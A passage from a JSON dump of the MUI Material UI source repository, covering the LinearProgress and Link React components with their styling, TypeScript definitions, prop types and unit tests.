'Dashed',\n})(\n  memoTheme(({ theme }) => ({\n    position: 'absolute',\n    marginTop: 0,\n    height: '100%',\n    width: '100%',\n    backgroundSize: '10px 10px',\n    backgroundPosition: '0 -23px',\n    variants: [\n      {\n        props: { color: 'inherit' },\n        style: {\n          opacity: 0.3,\n          backgroundImage: `radial-gradient(currentColor 0%, currentColor 16%, transparent 42%)`,\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => {\n          const backgroundColor = getColorShade(theme, color);\n          return {\n            props: { color },\n            style: {\n              backgroundImage: `radial-gradient(${backgroundColor} 0%, ${backgroundColor} 16%, transparent 42%)`,\n            },\n          };\n        }),\n    ],\n  })),\n  bufferAnimation || {\n    // At runtime for Pigment CSS, `bufferAnimation` will be null and the generated keyframe will be used.\n    animation: `${bufferKeyframe} 3s infinite linear`,\n  },\n);\n\nconst LinearProgressBar1 = styled('span', {\n  name: 'MuiLinearProgress',\n  slot: 'Bar1',\n  overridesResolver: (props, styles) => {\n    return [styles.bar, styles.bar1];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    width: '100%',\n    position: 'absolute',\n    left: 0,\n    bottom: 0,\n    top: 0,\n    transition: 'transform 0.2s linear',\n    transformOrigin: 'left',\n    variants: [\n      {\n        props: {\n          color: 'inherit',\n        },\n        style: {\n          backgroundColor: 'currentColor',\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            backgroundColor: (theme.vars || theme).palette[color].main,\n          },\n        })),\n      {\n        props: {\n          variant: 'determinate',\n        },\n        style: {\n          transition: `transform .${TRANSITION_DURATION}s linear`,\n        },\n      },\n      {\n        props: {\n          variant: 'buffer',\n        },\n        style: {\n          zIndex: 1,\n          transition: `transform .${TRANSITION_DURATION}s linear`,\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.variant === 'indeterminate' || ownerState.variant === 'query',\n        style: {\n          width: 'auto',\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.variant === 'indeterminate' || ownerState.variant === 'query',\n        style: indeterminate1Animation || {\n          animation: `${indeterminate1Keyframe} 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite`,\n        },\n      },\n    ],\n  })),\n);\n\nconst LinearProgressBar2 = styled('span', {\n  name: 'MuiLinearProgress',\n  slot: 'Bar2',\n  overridesResolver: (props, styles) => {\n    return [styles.bar, styles.bar2];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    width: '100%',\n    position: 'absolute',\n    left: 0,\n    bottom: 0,\n    top: 0,\n    transition: 'transform 0.2s linear',\n    transformOrigin: 'left',\n    variants: [\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            '--LinearProgressBar2-barColor': (theme.vars || theme).palette[color].main,\n          },\n        })),\n      {\n        props: ({ ownerState }) =>\n          ownerState.variant !== 'buffer' && ownerState.color !== 'inherit',\n        style: {\n          backgroundColor: 'var(--LinearProgressBar2-barColor, currentColor)',\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.variant !== 'buffer' && ownerState.color === 'inherit',\n        style: {\n          backgroundColor: 'currentColor',\n        },\n      },\n      {\n        props: {\n          color: 'inherit',\n        },\n        style: {\n          opacity: 0.3,\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color, variant: 'buffer' },\n          style: {\n            backgroundColor: getColorShade(theme, color),\n            transition: `transform .${TRANSITION_DURATION}s linear`,\n          },\n        })),\n      {\n        props: ({ ownerState }) =>\n          ownerState.variant === 'indeterminate' || ownerState.variant === 'query',\n        style: {\n          width: 'auto',\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.variant === 'indeterminate' || ownerState.variant === 'query',\n        style: indeterminate2Animation || {\n          animation: `${indeterminate2Keyframe} 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) 1.15s infinite`,\n        },\n      },\n    ],\n  })),\n);\n\n/**\n * ## ARIA\n *\n * If the progress bar is describing the loading progress of a particular region of a page,\n * you should use `aria-describedby` to point to the progress bar, and set the `aria-busy`\n * attribute to `true` on that region until it has finished loading.\n */\nconst LinearProgress = React.forwardRef(function LinearProgress(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiLinearProgress' });\n  const {\n    className,\n    color = 'primary',\n    value,\n    valueBuffer,\n    variant = 'indeterminate',\n    ...other\n  } = props;\n  const ownerState = {\n    ...props,\n    color,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n  const isRtl = useRtl();\n\n  const rootProps = {};\n  const inlineStyles = { bar1: {}, bar2: {} };\n\n  if (variant === 'determinate' || variant === 'buffer') {\n    if (value !== undefined) {\n      rootProps['aria-valuenow'] = Math.round(value);\n      rootProps['aria-valuemin'] = 0;\n      rootProps['aria-valuemax'] = 100;\n      let transform = value - 100;\n      if (isRtl) {\n        transform = -transform;\n      }\n      inlineStyles.bar1.transform = `translateX(${transform}%)`;\n    } else if (process.env.NODE_ENV !== 'production') {\n      console.error(\n        'MUI: You need to provide a value prop ' +\n          'when using the determinate or buffer variant of LinearProgress .',\n      );\n    }\n  }\n  if (variant === 'buffer') {\n    if (valueBuffer !== undefined) {\n      let transform = (valueBuffer || 0) - 100;\n      if (isRtl) {\n        transform = -transform;\n      }\n      inlineStyles.bar2.transform = `translateX(${transform}%)`;\n    } else if (process.env.NODE_ENV !== 'production') {\n      console.error(\n        'MUI: You need to provide a valueBuffer prop ' +\n          'when using the buffer variant of LinearProgress.',\n      );\n    }\n  }\n\n  return (\n    <LinearProgressRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      role=\"progressbar\"\n      {...rootProps}\n      ref={ref}\n      {...other}\n    >\n      {variant === 'buffer' ? (\n        <LinearProgressDashed className={classes.dashed} ownerState={ownerState} />\n      ) : null}\n      <LinearProgressBar1\n        className={classes.bar1}\n        ownerState={ownerState}\n        style={inlineStyles.bar1}\n      />\n      {variant === 'determinate' ? null : (\n        <LinearProgressBar2\n          className={classes.bar2}\n          ownerState={ownerState}\n          style={inlineStyles.bar2}\n        />\n      )}\n    </LinearProgressRoot>\n  );\n});\n\nLinearProgress.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['inherit', 'primary', 'secondary']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The value of the progress indicator for the determinate and buffer variants.\n   * Value between 0 and 100.\n   */\n  value: PropTypes.number,\n  /**\n   * The value for the buffer variant.\n   * Value between 0 and 100.\n   */\n  valueBuffer: PropTypes.number,\n  /**\n   * The variant to use.\n   * Use indeterminate or query when there is no progress value.\n   * @default 'indeterminate'\n   */\n  variant: PropTypes.oneOf(['buffer', 'determinate', 'indeterminate', 'query']),\n};\n\nexport default LinearProgress;\n"
  },
  {
    "path": "packages/mui-material/src/LinearProgress/LinearProgress.test.js",
    "content": "import { expect } from 'chai';\nimport {\n  createRenderer,\n  screen,\n  strictModeDoubleLoggingSuppressed,\n} from '@mui/internal-test-utils';\nimport LinearProgress, { linearProgressClasses as classes } from '@mui/material/LinearProgress';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<LinearProgress />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<LinearProgress />, () => ({\n    classes,\n    inheritComponent: 'span',\n    render,\n    muiName: 'MuiLinearProgress',\n    testDeepOverrides: { slotName: 'bar', slotClassName: classes.bar },\n    testVariantProps: { variant: 'determinate', value: 25 },\n    refInstanceof: window.HTMLSpanElement,\n    skip: ['componentProp'],\n  }));\n\n  it('should render indeterminate variant by default', () => {\n    render(<LinearProgress />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.root);\n    expect(progressbar).to.have.class(classes.indeterminate);\n    expect(progressbar.children[0]).to.have.class(classes.bar1);\n    expect(progressbar.children[1]).to.have.class(classes.bar2);\n  });\n\n  it('should render for the primary color by default', () => {\n    render(<LinearProgress />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.colorPrimary);\n    expect(progressbar.children[0]).to.have.class(classes.bar);\n    expect(progressbar.children[1]).to.have.class(classes.bar);\n  });\n\n  it('should render for the secondary color', () => {\n    render(<LinearProgress color=\"secondary\" />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.colorSecondary);\n    expect(progressbar.children[0]).to.have.class(classes.bar);\n    expect(progressbar.children[1]).to.have.class(classes.bar);\n  });\n\n  it('should render with determinate classes for the primary color by default', () => {\n    render(<LinearProgress value={1} variant=\"determinate\" />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.determinate);\n    expect(progressbar).to.have.class(classes.colorPrimary);\n    expect(progressbar.children[0]).to.have.class(classes.bar1);\n  });\n\n  it('should render with determinate classes for the primary color', () => {\n    render(<LinearProgress color=\"primary\" value={1} variant=\"determinate\" />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.determinate);\n    expect(progressbar).to.have.class(classes.colorPrimary);\n    expect(progressbar.children[0]).to.have.class(classes.bar1);\n  });\n\n  it('should render with determinate classes for the secondary color', () => {\n    render(<LinearProgress color=\"secondary\" value={1} variant=\"determinate\" />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.determinate);\n    expect(progressbar).to.have.class(classes.colorSecondary);\n    expect(progressbar.children[0]).to.have.class(classes.bar1);\n  });\n\n  it('should set width of bar1 on determinate variant', () => {\n    render(<LinearProgress variant=\"determinate\" value={77} />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar.children[0]).to.have.nested.property('style.transform', 'translateX(-23%)');\n  });\n\n  it('should render with buffer classes for the primary color by default', () => {\n    render(<LinearProgress value={1} valueBuffer={1} variant=\"buffer\" />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.buffer);\n    expect(progressbar.children[0]).to.have.class(classes.dashed);\n    expect(progressbar.children[1]).to.have.class(classes.bar1);\n    expect(progressbar.children[2]).to.have.class(classes.colorPrimary);\n    expect(progressbar.children[2]).to.have.class(classes.bar2);\n  });\n\n  it('should render with buffer classes for the primary color', () => {\n    render(<LinearProgress value={1} valueBuffer={1} color=\"primary\" variant=\"buffer\" />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.buffer);\n    expect(progressbar.children[0]).to.have.class(classes.dashed);\n    expect(progressbar.children[1]).to.have.class(classes.bar1);\n    expect(progressbar.children[2]).to.have.class(classes.colorPrimary);\n    expect(progressbar.children[2]).to.have.class(classes.bar2);\n  });\n\n  it('should render with buffer classes for the secondary color', () => {\n    render(<LinearProgress value={1} valueBuffer={1} color=\"secondary\" variant=\"buffer\" />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.buffer);\n    expect(progressbar.children[0]).to.have.class(classes.dashed);\n    expect(progressbar.children[1]).to.have.class(classes.bar1);\n    expect(progressbar.children[2]).to.have.class(classes.colorSecondary);\n    expect(progressbar.children[2]).to.have.class(classes.bar2);\n  });\n\n  it('should set width of bar1 and bar2 on buffer variant', () => {\n    render(<LinearProgress variant=\"buffer\" value={77} valueBuffer={85} />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar.querySelector(`.${classes.bar1}`)).to.have.nested.property(\n      'style.transform',\n      'translateX(-23%)',\n    );\n    expect(progressbar.querySelector(`.${classes.bar2}`)).to.have.nested.property(\n      'style.transform',\n      'translateX(-15%)',\n    );\n  });\n\n  it('should render with query classes', () => {\n    render(<LinearProgress variant=\"query\" />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.class(classes.query);\n    expect(progressbar.children[0]).to.have.class(classes.bar1);\n    expect(progressbar.children[1]).to.have.class(classes.bar2);\n  });\n\n  it('exposes the current, min and max value to screen readers when determinate', () => {\n    render(<LinearProgress variant=\"determinate\" value={77} />);\n    const progressbar = screen.getByRole('progressbar');\n\n    expect(progressbar).to.have.attribute('aria-valuenow', '77');\n    expect(progressbar).to.have.attribute('aria-valuemin', '0');\n    expect(progressbar).to.have.attribute('aria-valuemax', '100');\n  });\n\n  describe('prop: value', () => {\n    it('should warn when not used as expected', () => {\n      let rerender;\n\n      expect(() => {\n        ({ rerender } = render(<LinearProgress variant=\"determinate\" value={undefined} />));\n      }).toErrorDev([\n        'MUI: You need to provide a value prop',\n        !strictModeDoubleLoggingSuppressed && 'MUI: You need to provide a value prop',\n      ]);\n\n      expect(() => {\n        rerender(<LinearProgress variant=\"buffer\" value={undefined} />);\n      }).toErrorDev([\n        'MUI: You need to provide a value prop',\n        'MUI: You need to provide a valueBuffer prop',\n        !strictModeDoubleLoggingSuppressed && 'MUI: You need to provide a value prop',\n        !strictModeDoubleLoggingSuppressed && 'MUI: You need to provide a valueBuffer prop',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/LinearProgress/index.d.ts",
    "content": "export { default } from './LinearProgress';\nexport * from './LinearProgress';\n\nexport { default as linearProgressClasses } from './linearProgressClasses';\nexport * from './linearProgressClasses';\n"
  },
  {
    "path": "packages/mui-material/src/LinearProgress/index.js",
    "content": "export { default } from './LinearProgress';\n\nexport { default as linearProgressClasses } from './linearProgressClasses';\nexport * from './linearProgressClasses';\n"
  },
  {
    "path": "packages/mui-material/src/LinearProgress/linearProgressClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface LinearProgressClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root and bar2 element if `color=\"primary\"`; bar2 if `variant=\"buffer\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root and bar2 elements if `color=\"secondary\"`; bar2 if `variant=\"buffer\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `variant=\"determinate\"`. */\n  determinate: string;\n  /** Styles applied to the root element if `variant=\"indeterminate\"`. */\n  indeterminate: string;\n  /** Styles applied to the root element if `variant=\"buffer\"`. */\n  buffer: string;\n  /** Styles applied to the root element if `variant=\"query\"`. */\n  query: string;\n  /** Styles applied to the additional bar element if `variant=\"buffer\"`. */\n  dashed: string;\n  /** Styles applied to the layered bar1 and bar2 elements. */\n  bar: string;\n  /** Styles applied to the bar1 element. */\n  bar1: string;\n  /** Styles applied to the bar2 element. */\n  bar2: string;\n}\n\nexport type LinearProgressClassKey = keyof LinearProgressClasses;\n\nexport function getLinearProgressUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiLinearProgress', slot);\n}\n\nconst linearProgressClasses: LinearProgressClasses = generateUtilityClasses('MuiLinearProgress', [\n  'root',\n  'colorPrimary',\n  'colorSecondary',\n  'determinate',\n  'indeterminate',\n  'buffer',\n  'query',\n  'dashed',\n  'bar',\n  'bar1',\n  'bar2',\n]);\n\nexport default linearProgressClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Link/Link.d.ts",
    "content": "import * as React from 'react';\nimport { DistributiveOmit } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { TypographyOwnProps } from '../Typography';\nimport { LinkClasses } from './linkClasses';\n\nexport interface LinkOwnProps extends DistributiveOmit<LinkBaseProps, 'classes'> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<LinkClasses> | undefined;\n  /**\n   * The color of the link.\n   * @default 'primary'\n   */\n  color?: TypographyOwnProps['color'] | 'inherit' | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * `classes` prop applied to the [`Typography`](https://mui.com/material-ui/api/typography/) element.\n   */\n  TypographyClasses?: TypographyOwnProps['classes'] | undefined;\n  /**\n   * Controls when the link should have an underline.\n   * @default 'always'\n   */\n  underline?: 'none' | 'hover' | 'always' | undefined;\n  /**\n   * Applies the theme typography styles.\n   * @default 'inherit'\n   */\n  variant?: TypographyOwnProps['variant'] | undefined;\n}\n\nexport interface LinkTypeMap<AdditionalProps = {}, RootComponent extends React.ElementType = 'a'> {\n  props: AdditionalProps & LinkOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Breadcrumbs](https://next.mui.com/material-ui/react-breadcrumbs/)\n * - [Links](https://next.mui.com/material-ui/react-link/)\n *\n * API:\n *\n * - [Link API](https://next.mui.com/material-ui/api/link/)\n * - inherits [Typography API](https://next.mui.com/material-ui/api/typography/)\n */\ndeclare const Link: OverridableComponent<LinkTypeMap>;\n\nexport type LinkBaseProps = DistributiveOmit<\n  TypographyOwnProps,\n  'children' | 'color' | 'variant' | 'classes'\n>;\n\nexport type LinkProps<\n  RootComponent extends React.ElementType = LinkTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<LinkTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Link;\n"
  },
  {
    "path": "packages/mui-material/src/Link/Link.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport elementTypeAcceptingRef from '@mui/utils/elementTypeAcceptingRef';\nimport composeClasses from '@mui/utils/composeClasses';\nimport isFocusVisible from '@mui/utils/isFocusVisible';\nimport capitalize from '../utils/capitalize';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Typography from '../Typography';\nimport linkClasses, { getLinkUtilityClass } from './linkClasses';\nimport getTextDecoration from './getTextDecoration';\n\nconst v6Colors = {\n  primary: true,\n  secondary: true,\n  error: true,\n  info: true,\n  success: true,\n  warning: true,\n  textPrimary: true,\n  textSecondary: true,\n  textDisabled: true,\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, component, focusVisible, underline } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      `underline${capitalize(underline)}`,\n      component === 'button' && 'button',\n      focusVisible && 'focusVisible',\n    ],\n  };\n\n  return composeClasses(slots, getLinkUtilityClass, classes);\n};\n\nconst LinkRoot = styled(Typography, {\n  name: 'MuiLink',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[`underline${capitalize(ownerState.underline)}`],\n      ownerState.component === 'button' && styles.button,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => {\n    return {\n      variants: [\n        {\n          props: {\n            underline: 'none',\n          },\n          style: {\n            textDecoration: 'none',\n          },\n        },\n        {\n          props: {\n            underline: 'hover',\n          },\n          style: {\n            textDecoration: 'none',\n            '&:hover': {\n              textDecoration: 'underline',\n            },\n          },\n        },\n        {\n          props: {\n            underline: 'always',\n          },\n          style: {\n            textDecoration: 'underline',\n            '&:hover': {\n              textDecorationColor: 'inherit',\n            },\n          },\n        },\n        {\n          props: ({ underline, ownerState }) =>\n            underline === 'always' && ownerState.color !== 'inherit',\n          style: {\n            textDecorationColor: 'var(--Link-underlineColor)',\n          },\n        },\n        {\n          props: ({ underline, ownerState }) =>\n            underline === 'always' && ownerState.color === 'inherit',\n          style: theme.colorSpace\n            ? {\n                textDecorationColor: theme.alpha('currentColor', 0.4),\n              }\n            : null,\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter())\n          .map(([color]) => ({\n            props: { underline: 'always', color },\n            style: {\n              '--Link-underlineColor': theme.alpha((theme.vars || theme).palette[color].main, 0.4),\n            },\n          })),\n        {\n          props: { underline: 'always', color: 'textPrimary' },\n          style: {\n            '--Link-underlineColor': theme.alpha((theme.vars || theme).palette.text.primary, 0.4),\n          },\n        },\n        {\n          props: { underline: 'always', color: 'textSecondary' },\n          style: {\n            '--Link-underlineColor': theme.alpha((theme.vars || theme).palette.text.secondary, 0.4),\n          },\n        },\n        {\n          props: { underline: 'always', color: 'textDisabled' },\n          style: {\n            '--Link-underlineColor': (theme.vars || theme).palette.text.disabled,\n          },\n        },\n        {\n          props: {\n            component: 'button',\n          },\n          style: {\n            position: 'relative',\n            WebkitTapHighlightColor: 'transparent',\n            backgroundColor: 'transparent', // Reset default value\n            // We disable the focus ring for mouse, touch and keyboard users.\n            outline: 0,\n            border: 0,\n            margin: 0, // Remove the margin in Safari\n            borderRadius: 0,\n            padding: 0, // Remove the padding in Firefox\n            cursor: 'pointer',\n            userSelect: 'none',\n            verticalAlign: 'middle',\n            MozAppearance: 'none', // Reset\n            WebkitAppearance: 'none', // Reset\n            '&::-moz-focus-inner': {\n              borderStyle: 'none', // Remove Firefox dotted outline.\n            },\n            [`&.${linkClasses.focusVisible}`]: {\n              outline: 'auto',\n            },\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst Link = React.forwardRef(function Link(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiLink',\n  });\n  const theme = useTheme();\n\n  const {\n    className,\n    color = 'primary',\n    component = 'a',\n    onBlur,\n    onFocus,\n    TypographyClasses,\n    underline = 'always',\n    variant = 'inherit',\n    sx,\n    ...other\n  } = props;\n\n  const [focusVisible, setFocusVisible] = React.useState(false);\n  const handleBlur = (event) => {\n    if (!isFocusVisible(event.target)) {\n      setFocusVisible(false);\n    }\n    if (onBlur) {\n      onBlur(event);\n    }\n  };\n  const handleFocus = (event) => {\n    if (isFocusVisible(event.target)) {\n      setFocusVisible(true);\n    }\n    if (onFocus) {\n      onFocus(event);\n    }\n  };\n\n  const ownerState = {\n    ...props,\n    color,\n    component,\n    focusVisible,\n    underline,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <LinkRoot\n      color={color}\n      className={clsx(classes.root, className)}\n      classes={TypographyClasses}\n      component={component}\n      onBlur={handleBlur}\n      onFocus={handleFocus}\n      ref={ref}\n      ownerState={ownerState}\n      variant={variant}\n      {...other}\n      sx={[\n        ...(v6Colors[color] === undefined ? [{ color }] : []),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      style={{\n        ...other.style,\n        ...(underline === 'always' &&\n          color !== 'inherit' &&\n          !v6Colors[color] && {\n            '--Link-underlineColor': getTextDecoration({ theme, ownerState }),\n          }),\n      }}\n    />\n  );\n});\n\nLink.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the link.\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'primary',\n      'secondary',\n      'success',\n      'error',\n      'info',\n      'warning',\n      'textPrimary',\n      'textSecondary',\n      'textDisabled',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: elementTypeAcceptingRef,\n  /**\n   * @ignore\n   */\n  onBlur: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * `classes` prop applied to the [`Typography`](https://mui.com/material-ui/api/typography/) element.\n   */\n  TypographyClasses: PropTypes.object,\n  /**\n   * Controls when the link should have an underline.\n   * @default 'always'\n   */\n  underline: PropTypes.oneOf(['always', 'hover', 'none']),\n  /**\n   * Applies the theme typography styles.\n   * @default 'inherit'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'body1',\n      'body2',\n      'button',\n      'caption',\n      'h1',\n      'h2',\n      'h3',\n      'h4',\n      'h5',\n      'h6',\n      'inherit',\n      'overline',\n      'subtitle1',\n      'subtitle2',\n    ]),\n    PropTypes.string,\n  ]),\n};\n\nexport default Link;\n"
  },
  {
    "path": "packages/mui-material/src/Link/Link.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport Link, { LinkProps } from '@mui/material/Link';\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\nconst props1: LinkProps<'div'> = {\n  component: 'div',\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLDivElement>, typeof event>(event);\n  },\n};\n\nconst props2: LinkProps = {\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLAnchorElement>, typeof event>(event);\n  },\n};\n\nconst props3: LinkProps<typeof CustomComponent> = {\n  component: CustomComponent,\n  stringProp: '1',\n  numberProp: 2,\n};\n\nconst props4: LinkProps<typeof CustomComponent> = {\n  component: CustomComponent,\n  stringProp: '2',\n  numberProp: 2,\n  // @ts-expect-error CustomComponent does not accept incorrectProp\n  incorrectProp: 3,\n};\n\n// @ts-expect-error missing props\nconst props5: LinkProps<typeof CustomComponent> = {\n  component: CustomComponent,\n};\n\n<Link\n  ref={(elem) => {\n    expectType<HTMLAnchorElement | null, typeof elem>(elem);\n  }}\n>\n  Home\n</Link>;\n\n<Link\n  component=\"button\"\n  ref={(elem) => {\n    expectType<HTMLButtonElement | null, typeof elem>(elem);\n  }}\n>\n  Home\n</Link>;\n\n<Link\n  component=\"button\"\n  ref={(elem: HTMLButtonElement | null) => {\n    expectType<HTMLButtonElement | null, typeof elem>(elem);\n  }}\n>\n  Home\n</Link>;\n"
  },
  {
    "path": "packages/mui-material/src/Link/Link.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer, fireEvent, screen, isJsdom } from '@mui/internal-test-utils';\nimport Link, { linkClasses as classes } from '@mui/material/Link';\nimport Typography, { typographyClasses } from '@mui/material/Typography';\nimport describeConformance from '../../test/describeConformance';\n\nfunction focusVisible(element) {\n  act(() => {\n    element.blur();\n    document.dispatchEvent(new window.Event('keydown'));\n    element.focus();\n  });\n}\n\ndescribe('<Link />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Link href=\"/\">Home</Link>, () => ({\n    classes,\n    inheritComponent: Typography,\n    render,\n    muiName: 'MuiLink',\n    refInstanceof: window.HTMLAnchorElement,\n    testVariantProps: { color: 'secondary', variant: 'h1' },\n    testStateOverrides: { prop: 'underline', value: 'always', styleKey: 'underlineAlways' },\n  }));\n\n  it('should render children', () => {\n    render(<Link href=\"/\">Home</Link>);\n\n    expect(screen.queryByText('Home')).not.to.equal(null);\n  });\n\n  it('should pass props to the <Typography> component', () => {\n    const { container } = render(\n      <Link href=\"/\" variant=\"body2\" classes={{ body2: 'link-body2' }}>\n        Test\n      </Link>,\n    );\n    expect(container.firstChild).to.have.class(typographyClasses.body2);\n    expect(container.firstChild).not.to.have.class('link-body2');\n  });\n\n  it('using sx color as a function should not crash', () => {\n    expect(() =>\n      render(\n        <Link href=\"/\" sx={{ color: (theme) => theme.palette.primary.light }}>\n          Test\n        </Link>,\n      ),\n    ).not.to.throw();\n  });\n\n  describe('event callbacks', () => {\n    it('should fire event callbacks', () => {\n      const events = ['onBlur', 'onFocus'];\n\n      const handlers = events.reduce((result, n) => {\n        result[n] = spy();\n        return result;\n      }, {});\n\n      const { container } = render(\n        <Link href=\"/\" {...handlers}>\n          Home\n        </Link>,\n      );\n      const anchor = container.querySelector('a');\n\n      events.forEach((n) => {\n        const event = n.charAt(2).toLowerCase() + n.slice(3);\n        fireEvent[event](anchor);\n        expect(handlers[n].callCount).to.equal(1);\n      });\n    });\n  });\n\n  describe('keyboard focus', () => {\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())('should add the focusVisible class when focused', function test() {\n      const { container } = render(<Link href=\"/\">Home</Link>);\n      const anchor = container.querySelector('a');\n\n      expect(anchor).not.to.have.class(classes.focusVisible);\n\n      focusVisible(anchor);\n\n      expect(anchor).to.have.class(classes.focusVisible);\n\n      act(() => {\n        anchor.blur();\n      });\n\n      